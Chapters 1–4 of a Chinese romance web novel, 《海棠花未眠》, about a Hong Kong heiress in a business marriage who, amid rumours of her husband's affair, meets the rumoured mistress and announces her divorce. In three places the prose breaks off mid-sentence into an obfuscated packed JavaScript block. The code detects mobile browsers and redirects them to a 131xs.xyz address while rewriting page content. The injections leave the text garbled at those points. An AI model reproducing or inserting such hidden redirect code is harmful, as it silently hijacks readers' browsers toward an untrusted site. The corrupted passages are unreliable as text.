《海棠花未眠》 1. 第 1 章 九月八日,香港天文台发出三号强风信号,俗称三号风球。 雨下了一整天,中环高楼隐入云雾之中,晦暗的天空和被淋湿的柏油马路呈现出一个颜色。天文台预报台风“桃枝”不日即将登陆,街上行人匆匆,做台风天前的物资储备。 此刻如果有人在尖沙咀某家店面的橱窗前驻足停留片刻,就会发现明亮的玻璃窗内外俨然是两个世界。 奢侈品店内摆满应季鲜花,空气中飘动淡雅的天竺葵香,所有员工正一字排开严阵以待,眼观鼻鼻观心地听着淅淅沥沥的雨声,准备迎接今天唯一一位客人。 天色渐暗,客人依旧没有到店的迹象,难免有店员觉得无聊,开始悄声八卦聊天。 “是谁要来?” “Cecilia。” “Cecilia?哪个Cecilia?” “沈太。” 香港唯有一个沈家——船王沈诚明家族。沈诚明为人低调,媒体统计所谓的“四大家族”、“十大富豪”,沈家从未上榜,可内行人都知道,若是资产透明,沈诚明的身家将会是一个非常惊人的数字。 毕竟这年头,现金流为王。沈家的资产不依赖于虚无缥缈的股价,实业、地皮、水电工程、码头、运输、酒店、还有国外弯弯绕绕的生意,都是真金白银。 这个“沈太”并不是指沈诚明的太太,他太太人到中年,不会花功夫在这些事情上,向来是店员和她的服装顾问对接,□□。 “哦……贺羡棠啊?” “对。”看她是新来的,同事好心提醒,“你叫她Cecilia,cici,lia,或者茜茜棠棠bb亲爱的都行,总之别叫沈太,她唔钟意。” “why?” “教给你一句话,熟知顾客的一切喜好不过是一位销售的基本素养,知道顾客讨厌什么才是看家本领。”同事压低声音,“贺羡棠和沈澈是商业联姻,两个人没什么感情。” 贺羡棠作为他们品牌首屈一指的Vic顾客,上到区域经理、店长,下到他们这些小喽啰都认真研究过她。 她的社交账号里,除了旅游、美食、购物、乐团巡演外,连一张沈澈的照片都没有,七夕、情人节、结婚纪念日这些日子,也从不晒礼物。简而言之,完全看不出已婚的痕迹。 她和沈澈就是正儿八经的商业联姻。商业商业,在商言商,不过是利益的结合罢了。 这并不是什么豪门秘闻。香港的豪门夫妇拉出来聚一块儿,一板砖扔下去,砸到的十对有八对都是这样的表面夫妻。 有钱到一定程度的话,结婚的那个人是不是喜欢的又有什么要紧?又不耽误他们在外面找自己真正喜欢的。 “怪不得啊。我听说,沈董最近和一个模特搞在一起了……” “全香港都听说了。有钱人也就那么回事,哪有不乱搞的。cici说不定也……” 同事还想说什么,店长走过来,让她再去清点一遍一会儿要重点推荐的几套衣服,然后不紧不慢地敲打一句:“背后议论顾客,这就是你们的职业素养?” 女人低着头飞速溜走,Cecilia应该快到了,店长不会继续发作。 大概十几分钟后,一辆粉色奔驰小跑车停在门店前,所有人脸上瞬间换了个表情,精神的简直像看见活财神。 店长换上夸张的笑容,快走几步迎上去,热情洋溢地喊道:“bb啊,你来啦!今天天气不好,真是麻烦你过来了,小心小心,地上滑。” 有人撑起伞,贺羡棠随之下车,高跟鞋踩上湿漉漉的地面时,她微微蹙了下眉,问身旁人:“这种天气为什么要出门?” “出来逛逛喽。”Mia说,“总待在家里有什么意思?” 品牌方当然会把每季新品的book送上门,必要的时候,他们还能把秀场搬进家里,可总不及自己出来逛街有乐趣。 Mia的人生信条就是买买买,以己度人,她这位朋友此刻肯定也需要借此来发泄内心的不快——毕竟不是谁都能坦然面对老公给自己戴绿帽子还被全香港的人都知道这回事儿。 贺羡棠不置可否,缓缓抬起眼皮,对上店长过分热情的面孔,小幅度地点下头。 “今天有刚从巴黎送来的新款。”店长向她介绍,“是以克罗地亚狂想曲为灵感设计的一个系列,我猜您一定感兴趣!” 贺羡棠兴致不高:“走吧。” 一行人朝店内走,高跟鞋的羊皮底沾了水,总归是不舒服的,店长使眼色让人给她换了一双舒适的平底鞋,趁着这个空隙,几个身量和她差不多的模特抓紧准备,几分钟后开始替她试衣。 衣摆飘飘,带动一阵淡雅的香气,银色亮片高跟鞋踩在大理石地面上,奏出悦耳的声音,店内俨然一个小型秀场。 店长站在一旁,适时解说两句,贺羡棠本人却兴致缺缺,靠在长沙发里和Mia说话。 Mia目光巡睃,落在一条重工礼服上:“那条裙子不错。” 店长笑着说:“这是我们这一季秀场的主打款,您看他裙子上错落的音符就是克罗地亚狂想曲五线谱里的一部分,并且全部是用钉珠纯手工缝制的,非常梦幻,和您的气质很搭呢。” 贺羡棠只扫了一眼:“嗯。” 这态度就是不感兴趣了。Mia永不言弃:“那件呢?” 店长紧随其后:“这件外套是小山羊绒质地的,用了很嫩的一个鹅黄色和粉色,非常显气色,而且过段时间就可以穿了,日常白搭又实用。” 贺羡棠恹恹的不说话。 Mia问她:“你心情不好啊?” 贺羡棠揉着太阳穴:“我病刚好。” 她这几天感冒,吃了好多药。 Mia贱兮兮地问:“气大伤身哦?” 想想也是,就算好脾气如贺羡棠,遇上这种事也忍不了。 香港富豪遍地跑,圈子里出轨劈腿从来不是什么新鲜事,上一辈的人有几个太太是常事,只不过年轻一辈里通常都会装装样子遮掩一下,不做的太过分,很少有像沈澈这样正大光明把人带出来,被拍了还没有任何表态的。 Mia看热闹不嫌事大,同时也为朋友而感到愤懑不平:“要我说啊,自己生气有什么用,你要想想办法的呀……” 这不是外人能听的话题,店长不动声色地起身,去给贺羡棠换了杯蜂蜜水,回来时恰好听到贺羡棠讲:“我真的是在悉尼冻的,你唔好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542957|171070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谂多(你别想太多)。” Mia表示无语。 见她们没有继续这个话题的意思,店长上前,蹲在贺羡棠身边,轻声说:“bb啊,唔好意思,不知道你刚病愈,给你换了杯蜂蜜水,温的。” 贺羡棠颔首道谢,却见店长脸色微凝,随口问道:“怎么了?” “没事。我刚刚想起来,今天刚到了一个限定款的包包,我拿给您看看。” 店长起身,朝身边人使了个眼色。 从她的角度,以她双眼5.0的视力,完全能够敏锐地捕捉到远处一道朝他们店里走来的身影——赫然是叶微。 叶微,国际超模,常年和品牌总部保持密切联系,也是传闻中沈澈的情人。 幸亏贺羡棠和Mia都背对着门,还没发现,店长去拿包,让人赶紧把叶微拦在门外。 被委以重任的sa叫Fiona,一边在心底骂出门没看黄历一边认命地推开店门,在撞上叶微的一瞬间,展现出了她平时最精湛的演技—— “BB啊!您今天怎么过来了?哎呀您也不提前给我发个消息,真是太不巧了,我们今天闭店。上次您看中的那款包……” Fiona一边往旁边挪动,挡住叶微的视线,一边眨了眨眼:“明天到货,您明天早点来,我给您留着。” “可是……”叶微侧过身,指着里面,“那不是有人?” Fiona的笑容凝固了。 与此同时,Mia整理头发时回眸一瞥,微微愣了几秒:“你看那是谁。” 贺羡棠朝她示意的方向看过去,门口一个个子高挑,看起来有一米七八的女生正在和店员说话,她很快收回视线,并未在意,只是随口问:“谁?” “沈生的绯闻女友。”Mia不免幸灾乐祸。 贺羡棠语气平淡:“哦。” 这事儿怎么就过不去了? 前天谭家老爷子过寿,贺羡棠推脱生病,并未出席,而当晚沈澈——也就是她的合法丈夫,被港媒拍到携国际超模叶微出席寿宴,热衷于搅混水的媒体猜测二人感情破裂,大字报标题触目惊心。 “豪门联姻摇摇欲坠”——刊登这则新闻的报纸也在第一时刻送到她手上。 新闻虽然当晚就撤下去了,但看到的人不在少数,一传十十传百,八卦早已传遍港岛的每个角落。 短短两天,她收到无数亲朋好友的问候,无论亲疏,最后都会绕到同一个话题上——“你和沈澈怎么样?” 贺羡棠烦了。 “让她进来吧。”贺羡棠说。 她没有清场购物的习惯,只是Mia喜欢。 抱着包回来的店长听见这话,简直要碎了! 新欢旧爱,正房小三,共处一室!就算这位贺小姐出了名的脾气好,可没人在给自己戴绿帽子的女人面前还能保持修养吧?她是开门做生意的,不是来演八点钟狗血档电视剧的啊! 今天这是什么运气! 雨“唰”地下大了,厚重的玻璃门推开时,送进来一阵裹挟着海腥气的风,刹那间耳边雨声也清亮起来,随后是高跟鞋敲在大理石地面上的声音。Mia望着越走越近的叶微,真不知道贺羡棠是怎么想的。 2. 第 2 章 叶微虽然是东北人,但她在香港待得足够久,自然也认识这位名字很好听人也很漂亮的贺二小姐。 她还是沈澈的妻子,因此叶微有意和她亲近,经过她身边时,礼貌地点头问好。 贺羡棠没料到叶微会主动开口,怔愣片刻,才说:“你好。” 她声音轻柔,叶微一个女人听了都喜欢,就是不知道她旁边那个女生是谁,一直在翻白眼,不过能和贺羡棠一起玩的,估计也是哪位富商的女儿亲戚之类的,有点脾气看不上她们这种出身时尚圈的人也正常。 叶微自动忽略了那道不友善的目光,对贺羡棠说:“咱们以前见过,在……” 她一时没记起来是巴黎还是米兰,顿住了,攀关系都显得太不真诚,好在贺羡棠主动说:“在巴黎,你去走秀,我去看秀,一面之缘。” 这都大概是五六年前的事情了,其实秀后品牌方还安排了晚宴,她们俩喝过一杯酒。那年贺羡棠是专门去试婚纱的,因此记得格外清晰。 “对!没想到您还记得。”叶微笑眯眯道,“真是缘分啊!” 干嘛呢?情敌见面先叙旧啊? Mia快听不下去了,靠在沙发里,简直想骂人,往周围一扫,sale也都是一脸吃到大瓜兴奋到藏也藏不住的表情。 真要命。Mia深呼吸几次,才平复心绪。 贺羡棠淡淡地“嗯”了一声,没再说话。 叶微看出来贺羡棠并不想和她有过多的交流,方才那句“一面之缘”也不过是在说她们根本不熟,没必要乱攀交情。投胎在金字塔尖上的人都是一样的傲气,高高在上,金尊玉贵,就算表面客气,也不过是出于礼貌,在外人面前维持符合身份的修养,实际上她们习惯用这种冷淡疏离的客气拒绝人。 可她是沈澈的妻子,以后少不了要打交道。叶微不想放过这个机会,只好一边绞尽脑汁地想话题,一边悄悄打量她。 叶微是走国际路线的,见惯了所谓“高级”的高颧骨菱形脸,很少见到贺羡棠这样的女孩子,一张很东方式的面孔,细长的眉,明眸皓齿,五官说不上来哪里惊艳,可就是耐看,该平整的地方平整,下颌线又流畅锋利,越看越漂亮,像从仕女图里走出来的一样。 叶微莫名想到,她像一株莲。 气质也像。顶级富商家族娇养出来的女儿,学钢琴,身上由内而外地散发着一种淡泊名利艺术气息——钱是什么东西?好俗。 贺羡棠看到Mia在翻白眼,余光又瞥到叶微仍然站在她侧后方,怎么都不自在,于是说:“叶小姐感兴趣的话,赏光坐下一起挑挑吧。” 叶微什么大场面没见过,并不推辞,应声“好”,大方坐下。 Mia倾身凑在贺羡棠耳边:“你疯啦?” “你才疯了。”贺羡棠推开她,“白眼都翻上天了。大小姐,不要在外面这样,让人看笑话。” “那你让她进来干什么?她可是……” Mia看了眼叶微,凑巧和她四目相对,介于当事人就坐在她对面,她也不好口出恶言,憋了半天想出来个文雅的词汇,低声说:“她可是你的婚姻破坏狂!你让她进来,还跟她聊天,你感冒把脑子感坏掉啦?上帝啊,你不会以为是在演古装剧吧?一夫多妻,三妻四妾,妻妾和睦。咦……!” 这种事在港澳也常见,大清灭亡也才过去一百来年,这片富庶的土地上仍有男人有好几位太太,媒体自然地称呼她们“二太”、“三太”,因为巨额财富的遮掩,没人意识到这不对。可Mia还是把自己说出一身鸡皮疙瘩,她搓搓胳膊,一脸痛惜地说:“Cecilia,我快要不认识你了!” 贺羡棠无奈叹气:“你不去当编剧真是可惜了。” Mia气的要死了,贺羡棠就是有这种轻飘飘把人气死的本事。 贺羡棠并不在意叶微究竟是不是沈澈的情人。 贺家和沈家是生意伙伴,所以她和沈澈是很纯粹的商业联姻,为了家族利益而结婚。年轻时贺羡棠一直在国外求学,辗转多国,醉心音乐,结婚是父母通知她的决定,而在正式订婚前,她们已经很多年没见过面了。 匆忙赶回国的那晚,是个雨夜,两家人在沈家仅对会员开放的私人会所里聚餐,贺羡棠的航班延误,抵达时比约定的时间迟了半小时。暴雨如注,沈澈与她一同抵达,撑一把黑伞在她身旁走过,没认出她。 他们擦肩而过,又在饭桌上重逢,长辈们说笑般地打趣他们“相见不相识”,一片欢声笑语里,贺羡棠抬眼注视着沈澈,心底晕开一片苦涩。 仅仅见过几次面就结婚的两个人,能有什么感情呢? 贺羡棠的目光重新落回模特身上,无所事事地神游。 这季的新品越看越没意思。 没有人说话,空气都很尴尬。对面的叶微有些拘谨,她天生耐不住寂寞,想说点什么打破沉默,正在心里打腹稿,搜肠刮肚地想着贺羡棠可能感兴趣的话题,就听见贺羡棠说要走了。 不知道为什么,她总觉得贺羡棠今天心情不好。 叶微想那道别总是可以的吧?反正以后见面的机会多得是,要相处也不急于一时。 她跟着起身,贺羡棠在和店长交流衣服的尺码,有几件是她买给妹妹的。叶微插不上话,盯着地面耐心地等待机会。 谈话声落,店长发表表示感谢的总结陈词,言辞殷切,语气热络。叶微心想机会来了,刚要跟着说句道别的话,就见贺羡棠已经转身走了,连目光也没有在她身上停留一瞬,叶微毕竟在遍地人精的圈子里混了这么多年,立刻敏锐地察觉到,贺羡棠是在刻意忽视。 并未走远,贺羡棠忽然想起什么似的,顿住脚步,扭头问店长:“有男士的领带吗?拿给我看看。” 店长应下,让人取来给她过目。 领带这样亲密的东西,一个已婚女士还能买给谁呢?看在朋友的面子上,Mia决定再帮贺羡棠一把,让她今天在“婚姻破坏狂”面前不至于太落下风,故意问道:“给沈董挑吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542958|171070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 满室的人心潮起伏——来了,宣示主权来了! 只有两位当事人在状况外。 “不是。”贺羡棠的目光在一排领带上划过,随手拿起一条藏蓝色暗纹的,“给我爸。” 她又拿起另一条,问Mia的意见:“哪条合适?” Mia忍不住把白眼翻上天,暗自在心底发誓这次绝不再理她。 叶微最近也想挑一条领带当作礼物,而店长拿给贺羡棠的必然是最贵最好的,也符合那人的身份。她听见贺羡棠这么问,下意识往她手上看去,自来熟地说:“左边那条吧!挺好看的,还有没有?帮我也包一条,我想送给我男朋友!” 空气凝固了两秒钟,然后在场的人齐刷刷倒吸一口冷气,连Mia也瞪圆眼睛不可置信地盯着她。 哪家当小三会当的这么嚣张? 叶微这才隐约觉得气氛不太对劲,她反射弧很长,这才想到前些天的传闻——贺羡棠该不会是误会了? 可沈澈居然没和她解释吗?他们是夫妻,消息如此不灵通? 这很不符合常理。 贺羡棠面无表情,将左手的领带递给店长,示意她包起来:“送给叶小姐,记在我的帐上。” 叶微张了张嘴,发出一个疑问的音节:“我……?” 我……应该要拒绝吧? 贺羡棠这才扫向她,那目光很轻,像在看一件无足轻重的物件,落在她身上,让人心里发毛。 紧接着,叶微听见贺羡棠用她一贯柔和的声线说:“叶小姐,如果聪明的话,以后还是不要出现在我面前。” 受了半天窝囊气的Mia终于满意了,恨不得敲锣打鼓地昭告天下,只有叶微囧囧的:“啊?” / 晚上七点,天文台挂出八号风球,代替三号风球,香港将会迎来停课停工的几天。Mia载着贺羡棠离开尖沙咀,经过香岛道时,下起大雨,雨刷器一左一右,规律地运作着,车厢内播放一首很老的粤语歌,嘈杂的雨声钻进来,混着Mia喋喋不休义愤填膺的声音: “你就是平时脾气太好了,什么阿猫阿狗都敢在你面前蹦。Olivia你记得吧?她老公劈腿一个什么广东籍的明星?被她知道以后,不知道用了什么手段,第二天就把人赶回内地了。” 贺羡棠支着额头看海岸线,也不知道听进去了没有。 Mia觑着她的脸色,这才想起给沈澈说两句好话:“不过,沈澈也不是那样的人啦。狗仔就会捕风捉影,媒体又爱博眼球,什么都敢写……” “嗯。”贺羡棠连头都没回。 手机震动一声,贺羡棠迟了半分钟,才按开锁屏,那一瞬间心里似乎期待着什么,然而不过是一条新闻推送——台风“桃枝”靠近,请广大市民远离海岸并停止所有水上活动,密切关注天文台最新预报。 台风又要来了,不过所有香港人都习以为常。 贺羡棠有些累,闭目养神,半晌说:“去喝酒吧,我请客。” 3. 第 3 章 仅接待会员的酒吧,Mia是常客,开在中环金融街上,卡座吧台都清净,多是那些从业者加班之余,下来喝两杯放松一下。 台上小有名气的歌手抱着把吉他,唱些安静的歌,空灵的嗓音悠然飘动。贺羡棠陷在宽大的黑色软沙发里,静静喝一杯橘色鸡尾酒,食指放在膝上,随着音乐打节拍。 窗外璀璨灯火沿着维港铺开,只是今夜雨雾缭绕,淋湿幢幢高楼。举世闻名的夜景蒙上雾霭的晦暗,让人看着心情也无端低落三分。 Mia两条细细长长的胳膊搭在沙发靠背上,下巴抵着胳膊,一双眼睛滴溜溜地盯着门口。半晌,她向后招了招手:“cici,cici,过来看。” 贺羡棠长腿一迈,和她一同趴在沙发上,顺着她示意的方向,看见一个男人,身材长相都很不错,穿polo衫休闲裤,头发全梳到后面去,显出眉眼英俊,带几分风流痞气。 是Mia喜欢的类型。 男人看见她们,朝Mia招了下手,停在门前,似乎在犹豫要不要过来打招呼,又见贺羡棠陪在她身侧,害怕唐突冒犯。Mia此刻没功夫敷衍他,比手势示意他去忙自己的。 贺羡棠问:“做私募的?” “你怎么看出来的?” “脖子上还挂着工牌。”贺羡棠说,“他们这些金融男都是利己主义者,你小心点吧。” Mia并不在意:“玩玩而已。长的还不错吧?” “怪不得最近总往这里跑。”贺羡棠用食指戳戳她胳膊,揶揄地笑问,“还没得手?” Mia伸出三根手指:“三天之内,保管拿下他。” 贺羡棠“嗯”了一声,仰头将杯中酒液一饮而尽。绵密的泡沫在舌尖跳跃,酒精顺着食管入胃,贺羡棠感到整个人轻飘飘起来,唯独胸口堵着块棉花似的,不畅快。 她心里装着件大事。 贺羡棠是出了名的“一杯倒”,平常和朋友们去酒吧,无非喝一点低酒精饮料,这样一杯鸡尾酒下去,怕是要醉。Mia夺过她的酒杯,训她:“酒量那么差,不要这样喝酒。” 贺羡棠忽然说:“我和沈澈要离婚了。” “什么?”像晴天霹雳。可她的声音太平和了,像是在说今天天气挺好啊你吃饭了吗之类的闲话,让Mia疑心自己听错了。 贺羡棠垂眸,盯着水晶吊灯散在桌角的一点光晕,呆呆地重复:“我和沈澈要离婚了,我提的。” 人已经醉了,说话都是慢吞吞的。 贺羡棠回想提出离婚的那天——一周前。她结束悉尼的音乐会回国,司机来接机,送她到一家私人会所内的餐厅,迈巴赫穿过绿茵草地,停在造型奇特的白色建筑前,Tina侯在门前,告诉她沈董会晚来一会儿。 这没什么,贺羡棠早已习惯。而且沈澈也没有让她等很久,大概太阳彻底落下,天边的晚霞散尽后,沈澈姗姗来迟。 菜品很合贺羡棠胃口,餐后甜酒带着轻盈的苹果香,贺羡棠和沈澈干杯,一顿饭到这就应该完美结束了。沈澈像完成某种任务,让司机送她先回家,他还要回公司处理一些工作。 贺羡棠起身,居高临下地看着沈澈,和他提出离婚。 这事在贺羡棠心底憋了一周,终于能说出来,忽略掉像吃了酸酸糖以后倒牙的异样感受,她后知后觉地发现只剩下轻松,长长地吐一口气:“爽!” Mia足愣了五分钟,才磕磕绊绊地问:“离什么?离婚?” 贺羡棠很用力地点头:“嗯!离婚!” 贺羡棠做了万全的准备。她找到律师处理离婚事宜,自己则推掉了接下来一段时间的工作,以便配合。 “为什么?”Mia一惊一乍的,“因为那个模特?” “不是的。”贺羡棠递给她一支酒,“和这件事没关系,我上周就和他提过离婚了。我只是想明白了,沈澈要找的是婚姻合伙人,我……” 贺羡棠顿了顿,实事求是道:“我做不好。” Mia一时不知道说什么,蹙眉望着她。 贺羡棠说:“是我离婚又不是你离婚,干嘛这样。” “我哪有婚可离!” “是啊!没结婚多自由。”贺羡棠笑眯眯地说,“等我正式离婚以后,就回归单身了,到时候他泡他的超模,我泡我的男人,多好!” “你……”Mia下意识想劝她慎重,转念一想,并没有这个必要。她很久之前就觉得沈澈这个人没意思,满脑子工作利益家族,上床都没激情的那种没意思。 “说的也是。”Mia和她碰杯,“那就……提前庆祝你回归单身?” 贺羡棠说:“cheers。” “cheers!”一支修长的手捏着酒杯挤过来,与她们碰杯,“什么事这么高兴?” 贺羡棠抬眸一看,是赵珩。 他今天显然精心打扮过。平常爱穿款式宽松的白T牛仔裤的人,居然也换上了稳重的西装,领带系的一丝不苟,像是刚从集团高层会议上离开一样。 “喜事。”Mia问,“你怎么在这?” 赵珩仰头像喝矿泉水一样灌了口酒,大马金刀地在对面沙发坐下,扯开领带,神色恹恹:“来办点事。装一天孙子。” 贺羡棠笑了笑。谁敢让他装孙子?不过是他爸催着他干点正事,而赵小公子闲散惯了,只要和人心平气和地说正经话办正经事,就觉得受了天大的委屈。 “别不信啊,”赵珩说,“经度国际银行新上任的CEO,简直就是……” Mia问:“是什么?” “尖酸刻薄,敏感善变的女魔头!” Mia捂着嘴笑:“那她是不是叫Miranda?” “差不多的名字吧。”赵珩转头就把人名字忘了。英文名千篇一律,他去公司里喊声Miranda,回应的人一只手都数不过来。 贺羡棠对他们工作上的事情不感兴趣,随便聊了两句,话题就跑到别的地方去了。 贺羡棠喝两杯酒就醉得不成样子,最后基本上听不清赵珩和Mia说什么,只觉得有两道声音钻进耳朵里,然后光溜溜地滑过大脑皮层。她身子向旁边一歪,困。 赵珩扶着她:“送你回去?” 贺羡棠盯着他两秒:“你也喝酒了。” “我带司机了。”赵珩一手扶起她,一手拎着她的包,下巴扬了下,问Mia,“顺路送你?” “你们走吧。”Mia托着腮,直勾勾地看向吧台,那眼神像草原上的雄狮锁定猎物一样,“我今晚不回去。” 赵珩说行,带着贺羡棠离开。 他握着贺羡棠细细的手腕,视线始终落在她身上,怕一个不注意贺羡棠就作妖。 贺羡棠推开赵珩:“我自己能走。” 她盯着地上的直线走。幸好今天的鞋子是平底鞋,就算走的歪歪扭扭,也不至于崴脚。 赵珩把包扛在肩上,单手插兜,慢悠悠地跟在她身后。 贺羡棠走两步,就回头看看他。 赵珩唇角挂着丝漫不经心的笑意:“你这样的,一会儿别吐我车上。” 贺羡棠说:“吐了赔你。” “我那车是限量的,已经绝版了。” “绝你个士多啤梨苹果橙。” 等电梯。 明亮的墙壁映出两人倒影。贺羡棠看了一会儿,慢吞吞地想起什么,拍拍赵珩,让他背过身,从包里翻找东西。 赵珩抬起手,把包举高了。 贺羡棠踮着脚去够。 赵珩又举高了一些。 学生时代常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542959|171070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩的戏码。贺羡棠揍他:“幼稚!” 赵珩说:“幼稚总比出轨好吧?” 贺羡棠没听清,含糊地应了一声,拿出手机看时间。已经零点了,她有一通未接来电,是沈澈打的。 贺羡棠没回,当作没看见。 电梯门开,她和赵珩一前一后走进。赵珩在她身后戳她肩膀:“cici,cici,你听说了吗?你老公泡了个超模。” “我又不是聋子。” 贺羡棠也不确定这能不能算作出轨。严格来讲,她已经提出离婚,沈澈要找谁都和她没关系了。 “别跟他过了。”赵珩兴冲冲地说,“姓沈的不是什么好东西,要我说,你趁早跟他散伙!那根烂黄瓜有什么好?” 赵珩讨厌沈澈,五年里一直孜孜不倦地劝贺羡棠离婚。 结婚那天,一片亲朋好友“百年好合”“早生贵子”“白头偕老”的祝福声里,只有赵珩对她说:“过不下去就离婚。” 贺羡棠重重地点了下头:“嗯!” “嗯?”赵珩意识到不对劲。 以往他说这种话,贺羡棠不揍他也要骂他两句,可今天居然这么平淡? “我开玩笑的。”赵珩笑着说。 贺羡棠也笑:“我也是开玩笑的。” 就在这片刻,电梯门开了,她摇摇晃晃地走出去。赵珩一愣,眸色深几许,若有所思。 一个意外的猜测伴随着压抑许久的念想疯狂滋长。 司机已经候在车前,见状撑伞迎上来。 雨还未停。空气中含着凛冽水汽。赵珩直直地盯着贺羡棠的背影,她今天穿了一套C家的半裙套装,经典的斜纹呢面料在雨夜里略显单薄。 猛地回过神,赵珩快步追上,脱下西装外套给她披上,始终紧抿着唇,未发一言。 这个时间,山上很寂静,沈家那栋别墅静静隐在雾中,走近了才发现整栋房子都亮着灯。一格一格拱形窗透着暖黄色的光,蜂蜜罐一样。 车稳稳停下。贺羡棠推门下车,赵珩也从另一边下车,撑起伞,三两步转过来,伸出手臂让她扶着。 贺羡棠不轻不重地推开他:“我没醉。” 赵珩没强求,落后她半步,小学生似地和她斗嘴:“只有喝醉的人才会这么说。” 贺羡棠不理他,小心盯着湿漉漉的地面。 赵珩又说:“你老公。” “谁?”贺羡棠醉的脑子都不转了。 “姓沈的。” 贺羡棠迟钝地抬头,在伞檐下,看见立在门前的沈澈。他半个身子都隐在阴影之中,看不清神色,只是气势逼人,让人下意识觉得他心情很差。 脚步未停,越走越近。 贺羡棠胃里的酒精正在慢腾腾地挥发,顺着血液流遍四肢百骸,走到沈澈身边,她已头晕脑胀,意识模糊,像断了网的机器人,短暂地宕机。 沈澈摘下她肩膀上披着的男士西装外套,还给赵珩。举止优雅,慢条斯理,居高临下的姿势和态度,完全没把赵家这个独苗苗小公子放在眼里。 赵珩不动,沈澈搂住贺羡棠,手搭在她腰间:“多谢。” 语调冷淡,听不出额外的情绪。 赵珩翻了个白眼:“扮嘢。” 沈澈笑了声:“还不走?进来喝杯茶吗?” 满是嘲讽的笑,不欢迎的语气,差点把赵珩气死,他朝贺羡棠挥了下手:“走了。” 走进客厅,贺羡棠终于连上网,一把推开沈澈,眉眼倦怠:“今晚你还是睡客卧,早点休息吧。” 说完,她越过沈澈,以及长餐桌上的鲜花、蛋糕和橙色礼品袋,阔步上楼。 睡前贺羡棠看了眼手机,视线扫过右上角的日期时,才恍惚想起来—— 今天是她结婚的第五年。 4. 第 4 章 夜半,雨急。睡不着。 贺羡棠盯着虚空中一点发呆,耳边雨声不断。 让人想起很多年前一个相同的雨夜。 那年她十六岁,暑假回国,沈贺两家约着去山里度假。贺羡棠自己偷偷溜出去玩,原本应该是有保镖跟着的,但年少时总是埋怨父母看的太紧没自由,她便谎称和沈澈一起。 沈澈比她大两岁,又是男孩子,从来都是长辈眼里最可靠的人,父母便没再说什么。 就是那次,贺羡棠倒霉催的遇上了作案手法十分粗糙的绑匪,一闷棍就把她打晕了。 幸好是野路子来的绑匪,事先不知道她的身份,只是在度假山庄看见他们的车子,觉得是户有钱人家,临时起意想敲一笔。 贺羡棠和他们胡侃,说自己其实是不受宠的私生女,绑了她也没用,她那对便宜爹妈早就看她碍眼了,根本不会拿钱赎人。 绑匪威胁她要撕票。 贺羡棠说别啊,撕票了性质可就不一样了。他们现在把她放了,她悄悄回去,绝对不报警,你好我好大家好,她要是死了,必然会惊动警察。 就是一样的雨夜,贺羡棠听着外面哗啦啦的雨声,无法判断自己身处何处,只能尽力和绑匪周旋,拖延时间。 山里下大雨,不用想也知道起了雾,给救援行动平添许多障碍。 那天最先找到她的人,是沈澈。比警察还早。 误打误撞也好,冥冥之中也好,总之绝望里看到熟悉的身影,贺羡棠听到心脏从嗓子眼里重重地落回胸膛。 此生没有比那更安心的瞬间。 有些少女心事,也在那一刻,像破土而出的种子般,悄悄萌芽。 第二天早上,贺羡棠故意晚起,和沈澈错开。 沈澈的作息很规律。他很少熬夜,一般十二点前会休息,第二天早上六点半起床,晨跑半小时,吃早餐时顺便看一眼新闻,八点前准时到公司,开始一天的工作。 这种日子贺羡棠过一周就恨不得去死了。 她醒来以后看了会手机,律师发消息说今天会来拜访,贺羡棠和她约好了时间。 拖到八点半,贺羡棠才下楼。沈澈果然去上班了,保姆绣姐在厨房准备早餐,客厅里没有人,长餐桌上的花、蛋糕和礼物依旧放在那里。 贺羡棠站在餐桌前,思索怎么处理这些东西。 绣姐端着早餐出来,滑蛋加香草多士,水煮的西兰花、芹菜和蒸南瓜,还有一碗鱼片粥,都是贺羡棠平时早上不常吃的。 绣姐说:“早上先生说您昨晚喝了酒,让我准备一些清淡的蔬菜,把咖啡也换成粥。” 贺羡棠点下头,把橙色礼品袋塞给绣姐,连里面是什么都没看,就说:“这个给你。” “不行不行。”绣姐摆手,“这不合适。” “拿着!”贺羡棠说,“不拿我要生气了。” 她没再管购物袋,把花和蛋糕都丢进垃圾桶,“哐哐”两声巨响后,客厅重归安静,贺羡棠开始吃饭。 显然她心情很差,绣姐于是默默收下礼物,打算等沈澈回来后再还给他。 那花是雪绒花、铁线莲和粉色厄瓜多尔玫瑰组成的一小束手打花,配色清新淡雅,十分可爱。 一看就是沈澈的生活助理Tina准备的。 同理可得,蛋糕和礼物也是。 沈澈从不会把时间花在准备礼物这种小事上。 贺羡棠想起婚后过的第一个生日,满屋的香槟色玫瑰,烛光晚餐,表盘背面刻着她英文名字的腕表,整个晚上都设计的无比精心,精心到像花钱买来的服务。 